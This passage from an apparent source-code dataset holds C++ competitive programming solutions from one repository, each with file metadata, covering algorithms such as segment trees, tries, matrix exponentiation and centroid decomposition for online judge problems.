"#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD1 = 1000000007;\r\nconst int MOD2 = 1000000047;\r\n\r\nconst int N = 210000;\r\n\r\nint hash1[N + 5];\r\nint hash2[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\thash1[0] = 1;\r\n\thash2[0] = 1;\r\n\tmap <pair <int, int>, int> M;\r\n\tmap <pair <int, int>, int> :: iterator it;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\thash1[i] = (long long)hash1[i - 1] * i % MOD1;\r\n\t\thash2[i] = (long long)hash2[i - 1] * i % MOD2;\r\n\t\tM[make_pair(hash1[i], hash2[i])] = i;\r\n\t}\r\n\tstring s;\r\n\tcin >> s;\r\n\tint v1 = 0;\r\n\tint v2 = 0;\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tv1 = (long long)v1 * 10LL % MOD1;\r\n\t\tv1 = (v1 + s[i] - '0') % MOD1;\r\n\t\tv2 = (long long)v2 * 10LL % MOD2;\r\n\t\tv2 = (v2 + s[i] - '0') % MOD2;\r\n\t}\r\n\tcout << M[make_pair(v1, v2)] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.394812673330307, "alphanum_fraction": 0.44668588042259216, "avg_line_length": 12.458333015441895, "blob_id": "601ebc60487cf6eb331efaf847d5c0b41b04ff5e", "content_id": "9948af92a89872e994243ec47d36c8ddca0ee16c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 347, "license_type": "no_license", "max_line_length": 46, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3618-Accepted-s939838.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int LIMIT = 1000000000;\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tlong long p;\r\n\t\tcin >> p;\r\n\t\tif (p == 3LL) {\r\n cout << \"12\\n\";\r\n continue;\r\n\t\t}\r\n\t\tcout << 2LL * ((p + 1LL) / 2LL + 1) << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3679487109184265, "alphanum_fraction": 0.38333332538604736, "avg_line_length": 18.526315689086914, "blob_id": "00bbd010e8b843a1d387f39ddd0e5a930a2303c7", "content_id": "1d86674bf101a488b695f3d9d49ece28e0fccf53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 780, "license_type": "no_license", "max_line_length": 43, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2304-Accepted-s655894.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 505;\r\n\r\nint tc, n, m, x, y, a[MAXN], b[MAXN];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\ta[x] = b[x] = i;\r\n\t\t}\r\n\t\tcin >> m;\r\n\t\twhile (m--) {\r\n\t\t\tcin >> x >> y;\r\n\t\t\tif (a[x] < a[y]) b[x]++, b[y]--;\r\n\t\t\telse b[x]--, b[y]++;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) a[i] = -1;\r\n\t\tfor (int i = 1; i <= n; i++) a[b[i]] = i;\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 1; i <= n && ok; i++)\r\n\t\t\tif (a[i] == -1) ok = false;\r\n if (ok)\r\n for (int i = 1; i <= n; i++) {\r\n cout << a[i];\r\n if (i < n) cout << \" \";\r\n else cout << \"\\n\";\r\n }\r\n else cout << \"IMPOSSIBLE\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39848101139068604, "alphanum_fraction": 0.42481014132499695, "avg_line_length": 15.477875709533691, "blob_id": "f58d504117eedbbb8c25105f72aad26680b8e760", "content_id": "ebad31c33cef9669078d521d15ac4b5bcde418c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1975, "license_type": "no_license", "max_line_length": 49, "num_lines": 113, "path": "/COJ/eliogovea-cojAC/eliogovea-p3484-Accepted-s909067.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nstruct data {\r\n\tint size;\r\n\tint val[15];\r\n\tdata() {\r\n\t\tsize = 0;\r\n\t}\r\n};\r\n\r\ndata merge(const data &a, const data &b) {\r\n\tdata res;\r\n\tres.size = 0;\r\n\tint pa = 0;\r\n\tint pb = 0;\r\n\twhile (pa < a.size && pb < b.size) {\r\n\t\tif (a.val[pa] < b.val[pb]) {\r\n\t\t\tres.val[res.size++] = a.val[pa++];\r\n\t\t\tif (res.size == 10) {\r\n\t\t\t\treturn res;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tres.val[res.size++] = b.val[pb++];\r\n\t\t\tif (res.size == 10) {\r\n\t\t\t\treturn res;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (res.size == 10) {\r\n\t\treturn res;\r\n\t}\r\n\twhile (pa < a.size) {\r\n\t\tres.val[res.size++] = a.val[pa++];\r\n\t\tif (res.size == 10) {\r\n\t\t\treturn res;\r\n\t\t}\r\n\t}\r\n\twhile (pb < b.size) {\r\n\t\tres.val[res.size++] = b.val[pb++];\r\n\t\tif (res.size == 10) {\r\n\t\t\treturn res;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint n, m, q;\r\ndata a[N];\r\ndata t[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n\tif (l == r) {\r\n\t\tt[x] = a[l];\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbuild(2 * x, l, mid);\r\n\t\tbuild(2 * x + 1, mid + 1, r);\r\n\t\tt[x] = merge(t[2 * x], t[2 * x + 1]);\r\n\t}\r\n}\r\n\r\ndata query(int x, int l, int r, int ql, int qr) {\r\n\tif (l > qr || r < ql) {\r\n\t\treturn data();\r\n\t}\r\n\tif (l >= ql && r <= qr) {\r\n\t\treturn t[x];\r\n\t}\r\n\tint mid = (l + r) >> 1;\r\n\tdata q1 = query(2 * x, l, mid, ql, qr);\r\n\tdata q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\treturn merge(q1, q2);\r\n}\r\n\r\nint v[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m >> q;\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tint k;\r\n\t\tcin >> k;\r\n\t\tfor (int j = 0; j < k; j++) {\r\n\t\t\tcin >> v[j];\r\n\t\t}\r\n\t\tsort(v, v + k);\r\n\t\ta[i].size = min(10, k);\r\n\t\tfor (int j = 0; j < a[i].size; j++) {\r\n\t\t\ta[i].val[j] = v[j];\r\n\t\t}\r\n\t}\r\n\tbuild(1, 1, m);\r\n\twhile (q--) {\r\n\t\tint a, b;\r\n\t\tcin >> a >> b;\r\n\t\tif (a > b) {\r\n swap(a, b);\r\n\t\t}\r\n\t\tdata ans = query(1, 1, m, a, b);\r\n\t\tfor (int i = 0; i < ans.size; i++) {\r\n\t\t\tcout << ans.val[i];\r\n\t\t\tif (i + 1 < ans.size) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35736677050590515, "alphanum_fraction": 0.39059561491012573, "avg_line_length": 14.968085289001465, "blob_id": "9cf8a8cc8ed209544c2cd53a620db3c2266fb90a", "content_id": "b1f760b123f97e746f848020e0ecf9b40debae75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1595, "license_type": "no_license", "max_line_length": 54, "num_lines": 94, "path": "/COJ/eliogovea-cojAC/eliogovea-p3364-Accepted-s827125.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1e9 + 7;\r\n\r\nconst int sz = 3;\r\n\r\nstruct matrix {\r\n\tll m[sz + 1][sz + 1];\r\n\tll * operator [] (int x) {\r\n\t\treturn m[x];\r\n\t}\r\n\tconst ll * operator [] (const int x) const {\r\n\t\treturn m[x];\r\n\t}\r\n\tvoid O() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid I() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.O();\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tfor (int k = 0; k < sz; k++) {\r\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\r\n\t\t\t\tif (res[i][j] >= mod) {\r\n\t\t\t\t\tres[i][j] -= mod;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nll power(ll x, ll n) {\r\n ll res = 1;\r\n while (n) {\r\n if (n & 1LL) {\r\n res = (res * x) % mod;\r\n }\r\n x = (x * x) % mod;\r\n n >>= 1LL;\r\n }\r\n return res;\r\n}\r\n\r\nmatrix power(matrix x, ll n) {\r\n\tmatrix res;\r\n\tres.I();\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint t;\r\nll n;\r\nmatrix a;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tn = 3LL * (n / 3LL);\r\n\t\ta[0][0] = 1; a[0][1] = 1; a[0][2] = 1;\r\n\t\ta[1][0] = 0; a[1][1] = 1; a[1][2] = 1;\r\n\t\ta[2][0] = 0; a[2][1] = 1; a[2][2] = 0;\r\n\t\ta = power(a, n);\r\n\t\tll ans = (a[0][2] * power(2, mod - 2)) % mod;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3560500741004944, "alphanum_fraction": 0.4116829037666321, "avg_line_length": 13.6304349899292, "blob_id": "04b87f88ada52fe615f9176adcfab22c44b1f1ff", "content_id": "8e9606341114049e4709f26cc448633e9db4e3ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 719, "license_type": "no_license", "max_line_length": 39, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p3378-Accepted-s847818.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline int add(int &a, int b) {\r\n\ta += b; if (a >= MOD) a -= MOD;\r\n}\r\n\r\ninline int f(int n) {\r\n\twhile (n >= 10) {\r\n\t\tint x = 0;\r\n\t\twhile (n) {\r\n\t\t\tx += n % 10;\r\n\t\t\tn /= 10;\r\n\t\t}\r\n\t\tn = x;\r\n\t}\r\n\treturn n;\r\n}\r\n\r\nconst int N = 100005;\r\n\r\nint n, x, fx;\r\nint dp[10][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tdp[0][0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> x;\r\n\t\tfx = f(x);\r\n\t\tfor (int j = 0; j < 10; j++) {\r\n\t\t\tdp[j][i] = dp[j][i - 1];\r\n\t\t}\r\n\t\tfor (int j = 0; j < 10; j++) {\r\n\t\t\tadd(dp[f(j + fx)][i], dp[j][i - 1]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= 9; i++) {\r\n\t\tcout << dp[i][n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44154590368270874, "alphanum_fraction": 0.45410627126693726, "avg_line_length": 18.700000762939453, "blob_id": "4a89382b73dc162506308e499d1914bf13028923", "content_id": "0dbb3db640bcb56c97cb55f47efa1647ec047a34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1035, "license_type": "no_license", "max_line_length": 49, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p2978-Accepted-s645183.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n//#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nint tar;\r\nstring str, sol, aux;\r\nvector<int> v;\r\n\r\ninline int pw(int a, int b) {\r\n\tint r = 1;\r\n\twhile (b--) r *= a;\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\taux.resize(5);\r\n\twhile (cin >> tar >> str) {\r\n if (tar == 0 && str == \"END\") break;\r\n\t\tint s = str.size();\r\n\t\tv.resize(s);\r\n\t\tsol.clear();\r\n\t\tbool ok = false;\r\n\t\tfor (int i = 0; i < s; i++)\r\n\t\t\tv[i] = (i < 5) ? i + 1 : 0;\r\n sort(v.begin(), v.end());\r\n\t\tdo {\r\n\t\t\tint sum = 0;\r\n\t\t\tfor (int i = 0, tmp; i < s; i++)\r\n\t\t\t\tif (v[i]) {\r\n\t\t\t\t\ttmp = pw(str[i] - 'A' + 1, v[i]);\r\n\t\t\t\t\tif (!(v[i] & 1)) tmp = -tmp;\r\n\t\t\t\t\tsum += tmp;\r\n\t\t\t\t}\r\n\t\t\tif (sum == tar) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tfor (int i = 0; i < s; i++)\r\n\t\t\t\t\tif (v[i]) aux[v[i] - 1] = str[i];\r\n if (aux > sol) sol = aux;\r\n\t\t\t}\r\n\t\t} while (next_permutation(v.begin(), v.end()));\r\n\r\n\t\tif (ok) cout << sol << '\\n';\r\n\t\telse cout << \"no solution\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3877221345901489, "alphanum_fraction": 0.3957996666431427, "avg_line_length": 15.685714721679688, "blob_id": "241ada7c1d33eb3e48e4007510a2f0ceae5c66bf", "content_id": "2ce3d2446e63d2f0c4d2a228cf043d3091fddf36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 619, "license_type": "no_license", "max_line_length": 49, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2856-Accepted-s630200.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll k, n;\r\n\r\nstring solve(ll k, ll n) {\r\n\tll m;\r\n\tstring r = \"\";\r\n\twhile (true) {\r\n\t\tm = k % n;\r\n\t\tfor (int i = 0; i < m; i++) r += 'S';\r\n\t\tk -= m;\r\n\t\tif (k > 1) {\r\n if (k == 2 && n == 2) r += 'S';\r\n else r += 'M';\r\n k /= n;\r\n\t\t}\r\n\t\telse if (k == 1) r += 'S';\r\n\t\telse break;\r\n\t}\r\n\treverse(r.begin(), r.end());\r\n\treturn r;\r\n}\r\n\r\nstring sol;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\twhile (cin >> k >> n && k | n) {\r\n sol = solve(k, n);\r\n cout << sol.size() << ' ' << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39746636152267456, "alphanum_fraction": 0.4196358025074005, "avg_line_length": 13.022222518920898, "blob_id": "4c782ab0451799be09081668bae35d2003fe8ffb", "content_id": "3255bdf341251a6786d9ddd9180e99a9bc235fed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1263, "license_type": "no_license", "max_line_length": 36, "num_lines": 90, "path": "/Codechef/FRGTNLNG.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 200, L = 100;\n\nstruct node {\n\tint next[27];\n\tint fin;\n\tnode() {\n\t\tfin = -1;\n\t\tfor (int i = 'a'; i <= 'z'; i++) {\n\t\t\tnext[i - 'a'] = -1;\n\t\t}\n\t}\n};\n\nnode t[10500];\n\nint sz;\n\nvoid init() {\n\tfor (int i = 0; i < sz; i++) {\n\t\tt[i] = node();\n\t}\n}\n\nvoid add(string &s, int id) {\n\tint cur = 0;\n\tfor (int i = 0; s[i]; i++) {\n\t\ts[i] -= 'a';\n\t\tif (t[cur].next[s[i]] == -1) {\n\t\t\tt[cur].next[s[i]] = sz++;\n\t\t}\n\t\tcur = t[cur].next[s[i]];\n\t}\n\tt[cur].fin = id;\n}\n\nbool mark[N];\n\nvoid check(string &s) {\n\tint cur = 0;\n\tfor (int i = 0; s[i]; i++) {\n\t\ts[i] -= 'a';\n\t\tif (t[cur].next[s[i]] == -1) {\n\t\t\treturn;\n\t\t}\n\t\tcur = t[cur].next[s[i]];\n\t}\n\tif (t[cur].fin != -1) {\n\t\tmark[t[cur].fin] = true;\n\t}\n}\n\nstring s;\nint tc, n, k;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n >> k;\n\t\tinit();\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> s;\n\t\t\tadd(s, i);\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tmark[i] = false;\n\t\t}\n\t\twhile (k--) {\n\t\t\tint x;\n\t\t\tcin >> x;\n\t\t\twhile (x--) {\n\t\t\t\tcin >> s;\n\t\t\t\tcheck(s);\n\t\t\t}\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcout << (mark[i] ? \"YES\" : \"NO\");\n\t\t\tif (i + 1 < n) {\n\t\t\t\tcout << \" \";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.2666666805744171, "alphanum_fraction": 0.2912280559539795, "avg_line_length": 22.782608032226562, "blob_id": "4f21c8e83b323d625c089d1388d474ba0e6ecc1b", "content_id": "92151fded6dc5fbf057b994ac4e6b5787d9b7d53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1140, "license_type": "no_license", "max_line_length": 103, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2501-Accepted-s471538.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\n#include<queue>\r\nusing namespace std;\r\n\r\nstruct nodo{\r\n int x,y;\r\n }l[102];\r\n\r\nqueue<nodo> q;\r\n\r\nint c,n;\r\nbool b[102];\r\n\r\nint main(){\r\n cin >> c;\r\n while(c--){\r\n cin >> n;\r\n for(int i=0; i<n+2; i++){\r\n cin >> l[i].x >> l[i].y;\r\n b[i]=0;\r\n }\r\n\r\n q.push(l[0]);\r\n b[0]=1;\r\n\r\n bool f=1;\r\n while(!q.empty()){\r\n int xx=q.front().x;\r\n int yy=q.front().y;\r\n\r\n q.pop();\r\n\r\n if(abs(xx-l[n+1].x)+abs(yy-l[n+1].y)<=1000){f=0;break;}\r\n\r\n for(int i=1; i<n+1; i++)\r\n if(abs(xx-l[i].x)+abs(yy-l[i].y)<=1000 && !b[i]){q.push(l[i]);b[i]=1;}\r\n }\r\n\r\n if(f)cout << \"sad\" << endl;\r\n else cout << \"happy\" << endl;\r\n\r\n while( !q.empty() )q.pop();\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.373913049697876, "alphanum_fraction": 0.39434781670570374, "avg_line_length": 21.115385055541992, "blob_id": "571899088f147d5fa8cb4fea92ce91658022630d", "content_id": "ad28837d89abd9a2632403a0a0ad09b5813f44f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2300, "license_type": "no_license", "max_line_length": 95, "num_lines": 104, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 32;\n\nbool sieve[N + 5];\nvector <int> primes;\nint pos[N + 5];\n\nint e[N][N];\n\ntypedef long long LL;\n\ninline LL power(LL x, int n) {\n LL res = 1;\n while (n) {\n if (n & 1) {\n res *= x;\n }\n x *= x;\n n >>= 1;\n }\n return res;\n}\n\nint cnt[N];\n\nset <LL> answer;\n\nvoid solve(int curSum, int curDim, int last, int needSum, int tDim) {\n // cerr << curSum << \" \" << curDim << \" \" << last << \" \" << needSum << \" \" << tDim << \"\\n\";\n if (curDim > tDim) {\n return;\n }\n if (curSum == needSum && curDim == tDim) {\n LL val = 1;\n for (int i = 0; i < primes.size(); i++) {\n //cerr << i << \" \" << primes[i] << \" \" << cnt[i] << \"\\n\";\n val *= power(primes[i], cnt[i]);\n }\n //cerr << \"\\n\";\n answer.insert(val);\n return;\n }\n for (int i = last; curSum + i <= needSum; i++) {\n for (int j = 0; j < primes.size(); j++) {\n cnt[j] -= e[i][j];\n }\n solve(curSum + i, curDim + 1, i, needSum, tDim);\n for (int j = 0; j < primes.size(); j++) {\n cnt[j] += e[i][j];\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n sieve[0] = true;\n sieve[1] = true;\n\n for (int i = 2; i <= N; i++) {\n if (!sieve[i]) {\n for (int j = i + i; j <= N; j += i) {\n sieve[j] = true;\n }\n }\n }\n for (int i = 2; i <= N; i++) {\n if (!sieve[i]) {\n pos[i] = primes.size();\n primes.push_back(i);\n }\n }\n\n for (int i = 2; i <= N; i++) {\n for (int j = 0; j < primes.size(); j++) {\n e[i][j] = e[i - 1][j];\n int x = i;\n while (x % primes[j] == 0) {\n e[i][j]++;\n x /= primes[j];\n }\n }\n }\n\n int h, d;\n cin >> d >> h;\n for (int i = 0; i < primes.size(); i++) {\n cnt[i] = e[h - 1][i];\n }\n solve(0, 0, 0, h - 1, d);\n for (set <LL> :: iterator it = answer.begin(); it != answer.end(); it++) {\n cout << *it << \"\\n\";\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.35704123973846436, "alphanum_fraction": 0.403982937335968, "avg_line_length": 28.65217399597168, "blob_id": "744bfb910ab6ea059ade6bbebc0bb1ee9c7bea3a", "content_id": "aee0c96a2a3fcfbba0942fdaa6d230a04bc4c3cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 703, "license_type": "no_license", "max_line_length": 59, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2231-Accepted-s470464.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<string>\r\nusing namespace std;\r\n\r\nstring s1,s2;\r\nint n,p1,p2;\r\nint main(){\r\n cin >> n;\r\n while(n--){\r\n cin >> s1 >> s2;\r\n //if(s1==s2){p1++;p2++;}\r\n if(s1==\"rock\" && s2==\"scissors\")p1++;\r\n else if(s2==\"rock\" && s1==\"scissors\")p2++;\r\n else if(s1==\"scissors\" && s2==\"paper\")p1++;\r\n else if(s2==\"scissors\" && s1==\"paper\")p2++;\r\n else if(s1==\"paper\" && s2==\"rock\")p1++;\r\n else if(s2==\"paper\" && s1==\"rock\")p2++;\r\n }\r\n if(p1>p2)cout << \"A win\";\r\n else if(p1<p2)cout << \"B win\";\r\n else cout << \"tied\";\r\n return 0;\r\n }" }, { "alpha_fraction": 0.4603198766708374, "alphanum_fraction": 0.47539985179901123, "avg_line_length": 17.072673797607422, "blob_id": "09679dd7c44469a173844730650220ca76868cd4", "content_id": "dfad453048e1be7d9315e138e82e00b7c1a82dc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6565, "license_type": "no_license", "max_line_length": 82, "num_lines": 344, "path": "/COJ/eliogovea-cojAC/eliogovea-p3933-Accepted-s1137680.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100 * 1000 + 10;\r\nconst int Q = 50 * 1000 + 10;\r\nconst int LN = 20;\r\n\r\nint n;\r\nvector <int> G[N];\r\n\r\nint q;\r\nint qu[Q], qk[Q];\r\n\r\nbool used[N];\r\n\r\nint sub_tree_size[N];\r\nint bfs_parent[N];\r\nint bfs_queue[N];\r\nint bfs_head;\r\nint bfs_tail;\r\n\r\ninline int get_centroid(int now) {\r\n\tbfs_head = 0;\r\n\tbfs_tail = 0;\r\n\tbfs_parent[now] = -1;\r\n\tbfs_queue[bfs_tail++] = now;\r\n\twhile (bfs_head < bfs_tail) {\r\n\t\tint u = bfs_queue[bfs_head++];\r\n\t\tsub_tree_size[u] = 1;\r\n\t\tfor (auto v : G[u]) {\r\n\t\t\tif (!used[v] && v != bfs_parent[u]) {\r\n\t\t\t\tbfs_parent[v] = u;\r\n\t\t\t\tbfs_queue[bfs_tail++] = v;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint component_size = bfs_head;\r\n\tfor (int i = bfs_head - 1; i > 0; i--) {\r\n\t\tsub_tree_size[bfs_parent[bfs_queue[i]]] += sub_tree_size[bfs_queue[i]];\r\n\t}\r\n\t\r\n\tint centroid = -1;\r\n\tint best_max;\r\n\tfor (int i = 0; i < bfs_head; i++) {\r\n\t\tint u = bfs_queue[i];\r\n\t\tint max_sub_tree_size = component_size - sub_tree_size[u];\r\n\t\tfor (auto v : G[u]) {\r\n\t\t\tif (!used[v] && v != bfs_parent[u]) {\r\n\t\t\t\tmax_sub_tree_size = max(max_sub_tree_size, sub_tree_size[v]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (centroid == -1 || max_sub_tree_size < best_max) {\r\n\t\t\tcentroid = u;\r\n\t\t\tbest_max = max_sub_tree_size;\r\n\t\t}\r\n\t}\r\n\treturn centroid;\r\n}\r\n\r\nint dist[LN][N];\r\n\r\ninline void calc_dist(int now, int _depth) {\r\n\tbfs_head = 0;\r\n\tbfs_tail = 0;\r\n\tbfs_parent[now] = -1;\r\n\tdist[_depth][now] = 0;\r\n\tbfs_queue[bfs_tail++] = now;\r\n\twhile (bfs_head < bfs_tail) {\r\n\t\tint u = bfs_queue[bfs_head++];\r\n\t\tfor (auto v : G[u]) {\r\n\t\t\tif (!used[v] && v != bfs_parent[u]) {\r\n\t\t\t\tbfs_parent[v] = u;\r\n\t\t\t\tdist[_depth][v] = dist[_depth][u] + 1;\r\n\t\t\t\tbfs_queue[bfs_tail++] = v;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint depth[N];\r\nint parent[N];\r\n\r\nint timer;\r\nint time_in[N];\r\nint time_out[N];\r\n\r\nvoid _centroid_decomposition(int now, int _parent = -1, int _depth = 0) {\r\n\tnow = get_centroid(now);\r\n\tcalc_dist(now, _depth);\r\n\tparent[now] = _parent;\r\n\tdepth[now] = _depth;\r\n\ttime_in[now] = timer++;\r\n\t\r\n\tused[now] = true;\r\n\t\r\n\tfor (auto to : G[now]) {\r\n\t\tif (!used[to]) {\r\n\t\t\t_centroid_decomposition(to, now, _depth + 1);\r\n\t\t}\r\n\t}\r\n\t\r\n\ttime_out[now] = timer - 1;\r\n}\r\n\r\ninline void centroid_decomposition() {\r\n\tfor (int u = 0; u < n; u++) {\r\n\t\tused[u] = false;\r\n\t}\r\n\t_centroid_decomposition(0);\r\n}\r\n\r\n\r\n/// type: 0 point, 1 query\r\nstruct event {\r\n\tint id;\r\n\tint value;\r\n\tint type;\r\n\tint left;\r\n\tint right;\r\n\t\r\n\tevent(int _id, int _value, int _type, int _left, int _right) {\r\n\t\tid = _id;\r\n\t\tvalue = _value;\r\n\t\ttype = _type;\r\n\t\tleft = _left;\r\n\t\tright = _right;\r\n\t}\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tif (a.value != b.value) {\r\n\t\treturn a.value < b.value;\r\n\t}\r\n\treturn a.type < b.type;\r\n}\r\n\r\nvector <event> E[LN];\r\n\r\nint f[N];\r\n\r\ninline void reset() {\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tf[i] = 0;\r\n\t}\r\n}\r\n\r\ninline void update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tf[p] += 